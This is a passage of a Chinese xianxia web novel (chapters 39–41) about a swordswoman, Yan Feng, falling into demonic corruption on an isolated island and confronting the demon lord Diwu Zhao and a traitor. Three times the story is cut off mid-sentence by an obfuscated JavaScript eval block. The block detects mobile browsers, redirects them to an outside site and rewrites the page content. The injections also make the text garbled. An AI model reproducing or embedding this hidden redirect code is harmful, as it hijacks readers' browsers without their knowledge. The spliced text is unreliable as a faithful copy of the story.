司同光发红的眼睛带着一丝仅存的理智看向她,一时间,仇恨与愤怒、欲望与贪婪在他眼中交叠浮现,鄢丰却无动于衷,只是紧盯着他,问: “你来找机械心,是奉了谁的命?” 司同光本就恨极了她,此刻在彻底失控边缘,更不可能回答她,他只是冷笑着转动眼珠,鄢丰在一片黑色中对上一点鲜红的颜色,心中一痛,说出口的话却仍然毫无波澜,冷静极了: “喜怒哀惧爱恶欲,你如今,到了哪一相?我猜……莫不是‘欲相’?” 魔气入心者,历七个阶段,喜怒哀惧爱恶欲依次被放到最大,而后这人便算是彻底无药可救、失去神智,成为被欲望与本能支配的行尸走肉。 世称“入魔七相”。 “欲”之一相,便是贪婪之心的不断滋长与膨胀。 身后的众魔修一片哗然,忍不住窃窃私语起来,鄢丰却始终紧盯着司同光: “你在等什么?” 他虽然恨极了她,却始终没有轻易动用自己的魔气,甚至还在和小瑞谈一场对他无益的交易。 他在等。 他在等什么? “我不知道你在等什么,但如果我没有猜错的话……你来找机械心,为的恐怕不是为了给上面交差,而是……为了你自己。” 鄢丰偏过头,在对方已然彻底变红的瞳孔中看到自己冷静的神色,在被铺天魔气彻底淹没之前,问出最后一句话: “所以,你在等……那个能够让你独吞机械心的时机,是吗?” “哈哈哈哈哈哈!”司同光终于痛快地笑了起来,“鄢丰,即使入了魔,你也还是那么让人讨厌。你就这么想要死在我的杀招之下?哈哈哈哈哈哈……” 源源不断的魔气被他吸收进来,已经形成滔天旋涡,他站在其中,视线却透过那黑色死死盯住鄢丰: “我成全你——” 一瞬间,他的眼睛变得猩红空洞,他的笑声却愈发快意,与此同时,那头巨兽咆哮着不断变大,眨眼之间,那血喷巨口已有遮天之势。 遮天蔽日的巨兽,仿佛只有放出另一头巨兽,才能与之旗鼓相当地打上一场。 此刻,它咆哮着张开嘴,仿佛要将在场的所有人,都吞食入腹! “——欲相七杀,饕餮。” 随着司同光的话音落下,本就昏暗的孤岛一下变得漆黑无比。 鄢丰早有预料,此刻她拉住小瑞,便拔腿狂奔起来! 司同光已入欲相,此刻经她一番话,贪欲之心被激到极致,头顶那头饕餮巨兽不管不顾要将此地的所有魔气都收为己用! 七相杀招,避无可避,一招必杀。 而况这是一个入魔前便已结丹的魔修,使出的杀招。 不消片刻,这里的所有人——也包括他带来的所有手下,都会死在这场即将爆发的魔爆中。 可是,鄢丰却知道,这里有一道生门—— 永夜花丛后,那满溢灵气的阵法,却能够抵御这场魔气的爆发。 即使只是片刻,也完全足够! 鄢丰下定决心,拉着小瑞便不管不顾朝着小屋的方向狂奔起来。 可是下一刻,变故陡生,那带路的刀疤男不知从哪里发现了她们,竟然疯了一样来拉小瑞的胳膊。 他眼中疯狂的贪婪根本不加掩饰,嘴里念念有词: “抓住你,交给魔君大人,我的前程——” “铛——” 雪亮的剑光一闪而过,甘镬剑终于再次出鞘! 可是,握着它的人却不是它的主人。 鄢丰不可置信地回头看去。 美丽的少女颤抖着手握住剑柄,长剑却稳稳贯穿刀疤男的咽喉。 他挣扎着,口中吐出血沫,破风箱一样的声音竟然还在念着: “魔……魔……君……前程……” 鄢丰还未及松一口气,怀中猛然一重——小瑞不知为何也倒了下来,无力地靠在她怀中! 鄢丰这才发现,她左手边的袖子不知何时被人割断了,裸露在外的皮肤竟然隐隐生出一丝裂隙,丝丝黑气从中冒出来。 一片混乱与黑暗中,鄢丰竟然没能看到,那刀疤男手里竟然拿着傀儡刻刀! 傀儡之身乃神木制成,无坚不摧。 唯有两种情况,它会脱离主人的魂魄。 第一是主人自愿将它让出,第二则是—— 用雕刻了这具肉身的傀儡刻刀,强行将它毁掉! 对方是有备而来,她们却措手不及。 鄢丰只能眼睁睁看着小瑞的身体寸寸皴裂,露出那颗木制的机械之心。 即便魂魄即将抽离,那颗心却仍在不断跳动,竟隐隐有琉璃光彩。 小瑞眼中含泪,眼中似乎有千言万语,却只是一言不发地看着她,什么也不说。 那具傀儡之身最终还是彻底崩溃,再承受不住魂魄的力量,空洞的眼睛昭示着灵魂的出离。 霎时之间,混乱的声音掠过耳际,留不下任何痕迹。 鄢丰只感觉到万籁俱寂,一时间理智与情感一并停止了呼吸—— 就在小瑞魂魄离开躯壳的一瞬间,鄢丰再一次,感受到了那股极为熟悉的气息。 那是血脉相连,是百年相伴,是同生相克,是鄢丰此生,至死也不可能忘记的气息—— 而她,竟然再一次,因为这些该死的魔修,即将失去她了。 一股极端的愤怒瞬间将鄢丰包裹,一片漆黑中,她看到那把钥匙已楔入锁中,灵活地转动起来—— 所有理智都在此刻飞速消逝,取而代之的只有本能,只有杀戮,只有…… 不可估量的愤怒! 在失去神智的最后一刻,鄢丰奇迹般地透过那场魔爆,对上司同光穷途末路之中,一双猩红而诡异的眼睛。 血从他的七窍之中源源不断地流下,他的身体仿佛立刻便要被炸成碎片,可他竟然还在笑着。 嘴巴一张一合,好像在说…… “你也会……变得和我一样。” . 眼前猩红一片,一时间,鄢丰觉得什么也看不见了。 唯有血红血红的阴翳爬满眼眶,她什么也看不清,可是似乎,此时此刻,这一切都无足轻重了—— 它又一次出现了。 这一次,它的身影比往常更清楚许多,它从身后拥住她,像以前那样。 它在她耳边低语: “你始终奉行的兼爱之道,在这时候,又能带给你什么呢?除了刻骨铭心的苦楚,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557289|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又带给了你什么?” 鄢丰张了张口想让它闭嘴,可张口却只能发出本能的嘶吼,身体也背叛了她的意志,不由自主地主动迎上那黑色的巨兽,像是在附和它,像是在对它说—— 我把一切都交付给你,而你,应当回馈给我,你曾许诺的那种强大力量。 心魔在她耳边轻轻笑了,笑得悦耳极了,鄢丰却感到耳边一阵轰鸣,她脑中逐渐被一个字完全吞没,巨大的愤怒化作嘈杂的轰鸣在她耳边不住响起。 杀光他们! 她终于无法忍受,开了口。 这一次,这句话顺利地说了出来。 随着她的话音落下,鲜红的气浪在她周身掀起,竟与已步入欲相的司同光呈水火不容、旗鼓相当之势! 包裹着愤怒的魔气与那无穷的贪婪欲望碰撞在一起—— 七相杀招,避无可避,一招必杀! 刹那之间,整座孤岛似乎都震颤一下,铺天盖地的魔气弥漫在空气的每一寸空间。 尸横遍野,只在瞬息之间。 司同光也同样死在这场他自己制造的灾祸之中,烟雾散去,唯有鄢丰呆立在原地。 鄢丰感到自己的一切都被那巨大的愤怒支配着,以致于她感觉不到,自己的皮肤也一样被那鲜红如火焰一般的愤怒灼伤,一瞬间她身上竟然冒出滚滚浓烟,看不到一块儿好肉。 鲜血从她七窍流出,她却犹嫌不够,像是感觉不到疼痛一般,阴阴笑着,一步一步前进。 愤怒化作红色的厌恶将她包裹起来,此刻竟然仍未消散。 可是这座孤岛,除了那丛丛盛放的巨大永夜花仍然矗立在原地,唯一还活着的人,就只剩她自己了。 她茫然地站在原地,魔气却丝毫没有散去的意思。 下一刻,那双猩红的眼睛终于再一次,锁定了她的猎物。 她对上一双神情复杂的黑色眼睛。 温石来时,看见的就是这样的画面。 温石下意识看向鄢丰裸露在外的肌肤,鲜红的魔纹几乎将她整个人都覆盖住了,唯有一股焦糊的气味始终弥漫在空气当中,从魔纹闪烁的间隙中,被灼烫得血肉模糊的皮肤若隐若现。 她奇怪极了,时而狂笑不已,时而又怒不可遏,挥出剑来,恨不能将虚空也一剑劈开来。 温石对此并不感到诧异,只是难免感到一阵唏嘘。 ——魔气入心,喜极怒极,一日之内,竟然已入七相之二。 他掩下眼底那点儿怜悯的意味,试着唤醒她:“……鄢丰姑娘。” 鄢丰充耳不闻,只是,这鲜血弥散不断的修罗场,难得再次迎来活人,她微微泛红的瞳孔缩了缩,有些兴奋地舔了舔唇。 邪性十足。 温石几乎无法将眼前这个已迈入成魔第二相的人,同当日魔域中宽仁良善的鄢丰联系起来。 他顿了顿,冷静下来,再次试着沟通:“鄢丰姑娘,即便你自己已不在乎生死……可,你刚才拼命想要守护的姑娘的生死,你也不在乎了么?” 鄢丰终于有了点儿反应。 她微微偏了偏头,勾起唇笑了起来。 温石蹙起眉。 情况比他想象得更加棘手,他的话并没有唤醒她的迹象,反而进一步刺激了她的邪性。 他后退半步,继续道:“鄢丰姑娘,你若再这样下去,待到此地,永夜花不复存在……那位姑娘也便彻底,魂飞魄散了。” 鄢丰一步步逼近他,对此毫无反应。 温石叹口气,正要拔刀,准备好了要打一场硬仗,身后却兀地传来一个冰冷而低沉的声音,听上去还颇有些虚弱: “我来吧。” 39. 孤岛(五) 温石叹口气,正要拔刀,准备好了要打一场硬仗,身后却兀地传来一个冰冷而低沉的声音,听上去还颇有些虚弱: “我来吧。” “君上不可——” 温石下意识想要拦住他,可第五昭已经先一步走到了鄢丰的面前。 焦糊的气味更加浓重了,第五昭的目光首先落在鄢丰握剑的手上,现在,经过一股源于心底深处的烈火灼烧,那原本就修长瘦削的手此刻完全褪去皮囊,露出森森白骨。 他又抬起头,对上她猩红的眼睛。 相比过去,他的脸色似乎又更苍白了几分,他有意识时,眼眸总是黑色的。 苍白的脸色则将它衬得更黑,因而无比清晰地倒映出鄢丰此刻望向他的,满溢仇恨的目光。 第五昭嘲讽地扯了扯嘴角,目光不闪不避地与鄢丰对视。 明知她此刻已经失去意识,他却还是一如既往说出一句讥讽的问候:“几日不见,你终于放弃你那无聊的救世戏码了吗?” 或许是听到“救世”这个词,或许是听到熟悉的声音、看到熟悉的人,又或者是某种不可言说的浓烈情绪涌上心头,鄢丰的脚步终于停了下来,她定定站在原地,偏过头打量起第五昭来。 “鄢丰,你可还认得出……我是谁?” 第五昭笑了笑,在下一刻闪身,堪堪避开她猝不及防的全力一剑! 鄢丰脸上的魔纹,此刻变得更红了。 一击不成她也并不气馁,反而被激起了战意,两个人此刻都被魔气包裹着,一时间分不清彼此。 她的速度快极了——本就是个中翘楚,如今能够驱使魔气,又有剑在手,力量自然是强大的。 只是…… 第五昭慢条斯理地取下手套,在她的剑彻底贯穿咽喉之前堪堪捏住她的剑刃。 削铁如泥的剑割破掌心脆弱的皮肤,鲜红的血液染红剑锋。 他力道不大,可鄢丰看到那沾着鲜血的剑锋,竟然真的失神片刻,抽走剑的动作不知为何停住了。 第五昭没有犹豫,趁着这片刻的失神倏然闪现到她身后,手刀劈向她的后颈。 鄢丰失力地倒下,被第五昭的手臂接住。 他低头看着昏迷不醒的鄢丰,笑了笑:“这段日子,可没少处理这样的魔。” 魔者,失心之人。 无心者,无有理智,不懂克制,唯有欲望与本能,恒久不褪。 因此唤醒被相控制的人,最好的办法是唤起对方的理智。可惜这样的事情说来简单,做来却难。 但更简单粗暴的办法,也便是魔宫中人最常用的,那就是—— 直接打晕,物理唤醒。 魔宫中最不缺的便是强者。 所以,若是打晕一次不成,便打第二次,直到将这人彻底打醒才罢。 温石却蹙起眉,不无担忧地看着昏迷的鄢丰,道:“君上,若她醒来还是这样……” 鄢丰的剑有多强,他早在新垣城便亲眼目睹过。 若君上还在全盛之时倒还有一战之力,可如今……靠着侥幸抓住的机会,未必会有第二次。 第五昭却摇摇头:“不会的。” “君上,”温石有些急了,“我们来这里本就为避祸而来,身边万万不可有这样的隐患……” 鄢丰感觉一切都像一场长梦,梦里明明灭灭,无数画面交叠闪现,却没有任何一幕停留片刻,让她能看个分明。 而后,一切都停在了红白交织的色彩里,定格了,停滞了。 鄢丰被刺得眼都不敢睁开。 ——雪亮的剑光,殷红的血液; 肌肤的白,刺目的红。 剑的那一端,时而是一身白色道袍的女子,鄢丰知道,那是贺灵。 时而是一身破烂布衣的小孩儿,鄢丰知道,那是阿昭。 时而,是一身黑衣的少年,那件黑衣材质好极了,鎏金暗纹纹得流光溢彩,就好像……就好像一种,魔域独有的花。 ——那是谁呢? 鄢丰不知道。 不知过了多久,鄢丰终于被一股灼烫的温度惊醒。 她感到如果她再不醒来,简直要被活活烫死。 可眼前始终是一片猩红,除了铺天盖地满目鲜红,她什么也看不到。 唯有耳边断断续续地声音,提醒着她,她还活着,她已从沉睡中醒来。 “君上,”温石的声音带着一点儿莫名的忧虑,“这根因果原本已经断了,你强行接续,是逆天道而行——君上不可!” 他音量猛然增大,似乎抢上前一步想要阻止他。 另一个声音却冷静极了:“放开。” 第五昭的声音。 鄢丰感到下颌被人捏住,一股浓烈的血腥气猝不及防滚入喉中。 她未及防备,被血呛得不受控制地咳嗽起来。 “……醒了?” 察觉到鄢丰的反应,他的声音似乎更冷了,不带温度地在耳边响起。 视线猛地清晰起来,第一眼,瞧见的便是一身华贵的黑衣,永夜花闪着琉璃般的光泽,在那身黑衣上若隐若现。 因为距离很近,连花纹的一针一线都看得清清楚楚。 灼烫的温度丝毫未散,似乎还有加重的趋势。 她蹙起眉正想起身质问他,却忽然闻到一股焦糊的味道。 她正想朝那个方向看去,第五昭的声音却从耳边响起。 鄢丰猛地挣动起来,她挣脱他,在他们对面站定,甘镬剑在另一边应召回到她手中,被稳稳地握住。 剑尚未擦拭,残存的血迹此刻已经变成暗红的颜色,鄢丰下意识看向第五昭垂在身侧的手,一点儿干涸的血渍还在他的手上,衬得他的手更加苍白。 鄢丰微微出了神。 她这才意识到,方才那股焦糊味,是从他的手上传来的。 她忽然觉得有些茫然,脑中雾蒙蒙一片,像是想起了什么,但又像是忘记了什么。 眼前也是。 眼前也是雾蒙蒙一片,不知何时蓄满了水雾,模糊了视线,而后不受控制地流下,顺着脸颊,一点一点,渗进领口,落尽泥土之中。 “呵,你——” 第五昭看到她的动作,哂笑一声,正要出言讥讽,可话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557290|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没能说出口,便对上了一双蓄满水雾的泪眼。 他唇边的讥笑还没来得及收好,便愣在原地,怔怔看着她不断流下的眼泪,一时间竟有些手足无措。 另一边,温石已经拔出了刀,闪身挡在第五昭面前,全身紧绷起来,似乎随时防备着她的攻击。 他出声提醒,声音沉沉: “君上小心!鄢丰姑娘才用了怒相那道杀招,现在恐怕是……要进哀相了。” 第五昭似乎被这句话点醒了,露出一点恍然的神色,可他还是一动不动站在原地,定定看着鄢丰。 巨大的哀恸将鄢丰笼罩,她几乎压抑得不能呼吸,只有眼眶中的泪水是唯一的出口。 一阵魔气被卷起,却不是浓黑的色彩,它裹挟着一点儿雪色,合着鄢丰的剑光,跟着她一步一步,走向咫尺之遥的魔君。 只肖一剑,她便将严阵以待的温石掀到一边,她举起剑,不偏不倚,指向第五昭的咽喉。 入魔七相,说起来是很简单的,但其实每个人在每个阶段会做出什么事情,都是变数很大的。 温石现在尚摸不清鄢丰到底是哪一种,在一旁看着只觉得胆战心惊。 他在心中默默计算着鄢丰出剑的速度,思考如何替第五昭挡下这一击。 鄢丰此刻泪水像是终于流干了,只有眼眶还微微发红,正以一种哀恸的神情看着第五昭。 片刻之后,剑动了。 那一剑速度快极了,快得人来不及看清,唯见一闪而过的寒光。 入魔七相变数极大,有些人,无论在哪一相都会无差别地攻击,而有些人却往往只会拔刀指向自己。 也有些人……上一刻还对人刀剑相向,下一刻,便又毫不犹豫地,将刀刃,对准自己。 第五昭比温石更快反应过来,那道剑锋由他撞得偏了几寸,最终钉在她的右肩。 鄢丰失力倒下的身体很快地被他接住。 她睁开眼睛,入眼是那身绣着永夜暗纹的黑衣,微微偏移视线,看向他受伤的那只手。 他的肤色本就是冷而白的,几乎不像是人间的色彩。此刻,那道被剑刃划开的伤口长而深,几乎贯彻整个掌心,他还没来得及处理,殷红的血色成股流下……红白辉映。 衬得他那非人的肤色更加苍白,像极了甘镬剑出鞘时闪烁的雪光。 她定定看它一会儿,有些艰难地抬起手,颤抖着捏住那只手的指尖,而后便将自己的整只手都塞进他手中,因魔化而长出的尖利指甲准而狠地,嵌进那到长长的血口之中,狠狠抠下一块儿带血的皮肉。 第五昭在钻心的痛意里,听到她痛极又快极的低语: “痛吗,阿昭。” 在第五昭惊慌失措的目光中,那只同他交握的手也被她自己掐出殷殷鲜血,和他的汇在一处。 好像只有这样的切肤之痛,才能一缓心中的痛楚。 逐渐模糊的视线中,她虚弱地说出最后一句话: “我和你……一样痛。和你一样——” 鄢丰阖眸,将最后一句话也一并,咽入喉中。 ——和你一样,罪孽深重。 40. 孤岛(六) 鄢丰是被一阵嘈杂之声惊醒的。 她睁开眼睛,率先映入眼帘的便是一角剧烈晃动的杏色裙摆。 视线上移,一双覆着黑色布料的手,正掐在少女纤细白皙的脖颈上,仍在一点一点收紧,少女脸涨得通红,艰难地喘息着,看到她醒来连忙从喉中艰难地发出声音,喊她的名字: “救……命…………呃……鄢……” 鄢丰猛地坐起身,守在一旁的温石吓了一跳,赶忙跟在她身后急切道: “鄢丰姑娘,那不是小瑞姑娘!” 鄢丰脚步不停,剑已经应声出鞘,第五昭听到身后的动静微微侧头,手下的动作却一点不停,反而更快地收紧。 “住手!” 随着话音,鄢丰已经毫不犹豫地挥出一剑,第五昭冷笑一声,周身竖起如斗的魔气,要全力以赴地接招,却不想那本指向他要害的剑在半路转了向,不痛不痒地朝空气挥出一剑,剑气却裹着点儿黑气准确地击打在他掐着少女的手上。 这轻得不见血的一招却将第五昭打了个措手不及,少女的身体失力地坠落,被鄢丰及时接住。 飞舞的衣袖在挣扎中露出一截白皙的皮肤,鄢丰垂眸,瞥见她右手手腕上诡异的黑色裂口,又不动声色地移开,转身看向身后的温石和第五昭。 第五昭目光死死盯着她怀中的少女,鄢丰竟从这目光中读出一点怨毒的仇恨,甚至比她看向他时更甚。 半晌,他似笑非笑地看向鄢丰:“来历不明的女人,难道不该杀?” “不论她是谁,你都不该这么轻率地夺人性命。” 第五昭露出一抹讽笑:“鄢丰,昆山都没了,你也还是,懦弱得一如既往。还没吃够教训么?” 他故意往她伤口上捅,鄢丰脸色一沉,刚收鞘的剑还未来得及再次指向他,眼眶倒是先红了一圈。 一旁的温石无奈地看看第五昭,小声提醒:“君上,鄢丰姑娘现在入了哀相,刚自伤过一次,我看还是……莫再激她了吧?” 入魔者在每个阶段被刺激后的结果只会一次比一次更强烈、更极端,每一次失去神智都意味着下一相的加速到来。 温石蹙起眉,不无担心地看着鄢丰手上那个再次被她自己的指甲划出血来的伤口,正一点点绕着剑柄的纹路,画出一朵美丽的血花。 三人无声对峙。 半晌,鄢丰强压下心底不能自抑的痛意,松开握剑的手,深深看了他一眼:“第五昭,你杀了她,又能怎样?” 第五昭闻言一愣,随即微微笑了笑,他低下头,从袖中摸出一张巴掌大的符咒,不答反问:“鄢丰,你难道甘心一辈子呆在这个鬼地方?” “此地本属虚空,任何生灵只要误入此地,本该有去无回。但是……” 既然已经有人为夺机械心而来,那么他们自然知道离开的方法。那些不速之客的尸身上,应该能够找得到线索。 鄢丰意识到什么,看向第五昭捏在手中的那枚符咒,蹙起眉:“那又如何?” “那些人身上只搜出来这一张传送符,只能供一人离开。所以,”他玩味地看向鄢丰怀中正缓缓睁眼的少女,锐利的目光与她对上,“你杀了她,我就把它给你,如何?” 鄢丰低下头,看向怀中少女已被袖口掩住的手腕,不语。 衣角却被一道极轻的力度扯了扯,鄢丰对上小瑞受惊的目光,片刻后听她说: “……我知道离开的办法,不需要那个符咒。” 鄢丰意味不明地看着她,半晌,忽然问:“你怕我会杀你?” 小瑞使劲儿摇摇头:“不是的!我……我只是不想看你为难。” 顿了顿,似乎怕她不信,她从她身上挣扎着下地,纤细的手试着拔出刚入鞘的甘镬剑,锋利的剑露出薄而亮的一小截,她不闪不躲地和她对视:“我本就寄居傀儡身中,你若是需要……杀了我便是!” “铮——” 随着她话音而来的是剑拔出鞘的声音,她颤抖着将剑锋往自己心口处送去! 可鄢丰似乎无动于衷,只是冷眼看着剑尖一寸寸逼近心口,直到割破布料—— “不必了,我相信你。”在剑几乎要刺入肌肤的那一刻,鄢丰忽然开了口。 甘镬剑嗡鸣着脱了手,自己落在地上。 鄢丰走到小瑞身边,将它捡起来,脸上的表情竟然平静得可怕。 “走吧。” 鄢丰转过身,再也不看第五昭一眼,只是安静地跟在小瑞身后。 “你就这么相信她?” 第五昭嘴角沉了沉,又很快挂上那抹讥笑,在她身后扬声问道。 鄢丰脚步一顿,又再次看向他:“如果我说是,你待如何?” “是又如何?”他咬牙切齿地重复咀嚼着她的回答,忽然不可抑制地狂笑起来,连指尖捏着的那枚符咒都颤抖起来,“……哈……哈哈哈哈哈哈哈哈哈!!” 半晌,他笑够了,一把捏扁已经皱巴巴的符咒,咬牙一字一顿问:“若她骗了你,你也不悔?” 鄢丰看到他这副模样,觉得好笑,又无端……感到一阵莫名的快意。 可比这快感更快一步的是颤抖的指尖和泛红的眼尾。 哀痛与快意交织在一起,她深呼吸一口气,告诫自己:不该如此,鄢丰,别被仇恨蒙蔽。 鄢丰抿唇不语——是默认的姿态。 片刻后,第五昭像是明白了什么,冷冷地笑起来:“好,好……” 他胸口上下起伏着,一面抬起手,一下一下,竟然将那枚符咒撕得粉碎! 裹着魔气的黄色碎屑飞舞着消散在空中,第五昭的脸好像更苍白了一些,他死死盯着鄢丰:“那你、我,还有她!”他伸手一指躲在鄢丰身后受了惊的少女,一字一句,“谁、也、别、想……离开这里!——温石,走。” 鄢丰怔愣地看着第五昭负气离开的身影,一时间竟然有些恍惚。 她有点遗忘了此刻的一切,只是没来由地感觉…… 他不是当年怯生生跟在她身后的那个,脏兮兮的阿昭。 他应该是她记忆中的……另一个人。 “鄢丰,别担心……”袖角被人轻轻拽了一下,鄢丰回过神,看到小瑞有些苍白的笑容。 少女笃定地说:“我知道离开的方法。——相信我好吗?” 鄢丰看着她藏着一点试探和胆怯的笑容,扯了扯嘴角,点头说好。 鄢年在昆山住的那些日子,其实并不好过。 鄢丰一直知道。 师门之中也有许许多多将人魔两族分殊看得极重的人,他们知道一个纯血魔种住在昆仑,即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557291|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经被告知她的来历,她并非睚眦一脉,而是为镇守人族边界而被侵染的,他们也仍然视她为恶之象征。 那些从未下过山、斩妖除魔的少年少女,难得地遇见这样一个可以证明自己一心向道的赤诚之心的,绝好机会。 鄢丰记得那名叫做范雪雪的师妹。 有时她代师姐教课时,她总是端端正正坐在最前排,仰脸看着她行云流水的剑招,拍手说“要以鄢师姐为榜样”。 她带着几个师弟闯进鄢年的屋子,将她带来的花花草草全砸个稀烂,整洁的屋子也被弄得混乱不堪。 她趾高气扬拔出剑,说要杀了魔种,还昆山安宁。 鄢年不躲不闪和她对峙,被赶来的鄢丰护在身后。 鄢丰说:“门规门训,你们都忘个干净了么?” 范雪雪却不服:“斩妖除魔,乃是道门中人义不容辞的责任,我没有违纪。” “没有违纪?”鄢丰冷笑,“斩妖除魔,斩的是什么妖,除的是什么魔?” 斩妖除魔,自然斩为祸人间的妖,除心术不正之魔。 ——可魔哪分什么心术正不正的?都是一样的肮脏、邪恶,劣根难消。 “如果我能拿出证据,鄢丰师姐还会阻拦么?” “你拿不出。” 鄢丰笃定道。 “这就是证据!”范雪雪将鄢年放在床头的木匣狠狠砸碎,一枚木牌哐啷掉在地上,上面刻着一个“范”字。 ——那是范雪雪的弟子牌。 鄢丰垂眸看着那枚弟子牌,不语。 室内一时静默下来,范雪雪问:“师姐还要袒护这魔种吗?若她真的清白,我们将她请到戒律堂,一窥忆海便知!” 对于作恶的魔族而言,被当作牲畜,随意窥视忆海,任他醒后痴呆疯傻,全都事不关己。 鄢丰抿唇不语。 鄢年却拉起她的手,不闪不避地看着范雪雪,说:“我不是昆山的弟子,要你们的令牌又有何用?如果你们昆山的人都是这样,随意栽赃陷害,不分青红皂白……这样的地方,鄢丰不待也罢!” 在范雪雪一行人的怔愣中,她毫不犹豫拉着鄢丰,快步走出了屋子。 她们又站在贺灵墓前,那株正奋力扎根的海棠随风微微摇曳。 只有这里四下无人,安静极了。 鄢丰问:“我方才犹豫,你不生气?” 鄢年笑了,清澈的眼中折射出一点骄傲的色彩:“你不敢说的心里话,由我替你说。” 鄢丰心中一动。 她在昆山修行,许多年来,功夫有所长进,心性也有所收敛。 儿时在村里,她有仇必报,有话必说,直来直去,坦坦荡荡。 可是在昆山,她渐渐明白,不是所有的真心话,都该被说出口。 原来这一切,鄢年全都看在眼里。 她和她,永远无需言明,自有灵犀。 她知道,鄢丰何曾为难过? 她只是不想恶语伤人,只是想给同门留下几分日后再见的余地罢了。 从始至终,鄢年全都知道。 回过神来,鄢丰已经跟着“小瑞”越过永夜花丛,走入隐藏在虚空里的那片漆黑之中。 余光闪过,琉璃色泽的永夜花瓣,又落下一片,无声地碎了一地。 41. 孤岛(七) 鄢丰不动声色跟着小瑞越过丛丛盛开的永夜花丛,微茫的亮光透过前方的罅隙,鄢丰随着小瑞的脚步停下来,古老的废墟再次映入眼前。 “就是这里!”小瑞回过头,“鄢丰,你知道传送阵如何开启……” 她话未说完,鄢丰已经径直迈入废墟中央。 先前来到这里总是情况紧急,这一次,鄢丰总算可以好好打量一下这座遗迹。在七根石柱的中央,突兀地立着一块石碑,刻着密密麻麻的铭文,周边也同样点缀着七条神情生动的“龙”。 鄢丰眉头微蹙,一时竟想不起这块石碑是否一直矗立在这里。 指尖轻抚过石柱上的铭文,却碰到一截微冷的指节。 鄢丰猛地停下来,看到毫无征兆出现在这里的第三人—— 正是当日第五昭的护法,温冥。 他看上去比往日更加暴戾,收敛不住的魔气将他整个人都拢住,唯有一双红瞳能穿透黑雾,直直与鄢丰对视! 两人都露出戒备的神色,一时之间谁也没有说话。 半晌,温冥率先开了口:“好久不见了,鄢丰。” 鄢丰蹙起眉,并不记得自己在魔域何曾同他有过交集,对方却不理她的困惑,自顾自地继续道:“总归,你还是放血救了我,把她交给我……今日我不杀你。” 他将手指向鄢丰身后神色茫然的小瑞,周身戾气忽然暴涨,眼瞳也愈发红了,目中的怨愤掩饰不住地射向她。 鄢丰见状饶有兴味地笑了:“我倒是很好奇,你们一个两个,为什么都好像和她有什么深仇大恨似的?” “我和那个废物——”温冥似乎笃定她口中那另一个人就是第五昭,瞥了她一眼,道,“我和‘君上’可不一样。她和她背后的人,违背了和我的约定,这颗机械心,我当然要……” 他顿了顿,红瞳好像捕猎的野兽,紧盯着战战兢兢的小瑞,一字一句道:“亲手挖出来……才能一解心头之恨呐。” 手臂被人猛地抓住,小瑞颤抖着声音喊她:“鄢丰……你…你可一定要救救我啊,我……” 鄢丰侧头看她一眼,不答,转而问温冥:“那些人,是你派来的?” “是又如何?我只想要机械心,”他看穿了鄢丰掩藏好的怒意,意有所指地看了看小瑞,“可从没想过,要做‘夺舍’这种脏事。” 抓着她的手一颤,“小瑞”整张脸都变得惨白,呼吸也急促起来。 鄢丰手按在剑柄上,半晌无语。 温冥见状挑起眉:“怎么,现在你也还是要护着她吗?护着这个……杀死你亲妹妹鄢年的‘凶手’?” 他将“凶手”两个字咬得极重,鄢丰瞳孔一震,眼眶蓦地红了,可是眼泪像是流干了一般,她只能死死瞪着温冥,长剑瞬间出鞘,直指温冥咽喉。 她咬牙切齿,一字一顿:“说清楚。” 温冥不慌不忙挑开剑尖,打量她一会,忽地笑了:“你是真忘了还是假忘了?当初我那样求你你都不肯救我,不就是为了这个?” “少废话!” 温冥耸耸肩,继续道:“你就从来想过吗?为什么你最后一次回家,那些村民都那么老实?这当然是因为——” “温冥,你不能杀我!” 他的话突然被小瑞颤抖的声音打断,那只一直死死抓住她袖子的手慢慢松开了,她一面抽出藏在手中的匕首,不要命般朝着温冥而去,一面大声喊:“你这忘恩负义的东西!当初我做这一切,都是为了谁?!” 温冥看着那把雪亮的刀,一挥手便将她整个人都甩在地上,尖锐的刀也划破皮肤,血滴答滴答顺着他垂下的手落在地上,温冥却浑然不觉,只是居高临下看着居高临下她: “为了谁?你为了你自己!”他恨声说,“你说你是为了我才害死鄢年,难道我不曾为了你,被那个不人不鬼的家伙折磨了百年?百年!你又在哪里?潘又双,你说,你又在哪里?!” 鄢丰冷眼看着这场闹剧,心中被掀起的巨浪却半点儿不曾平息,她正要不耐地刺出一剑,下一刻,脚下光芒大盛—— 石柱之下的阵法,竟被温冥的血,阴差阳错间启动了! 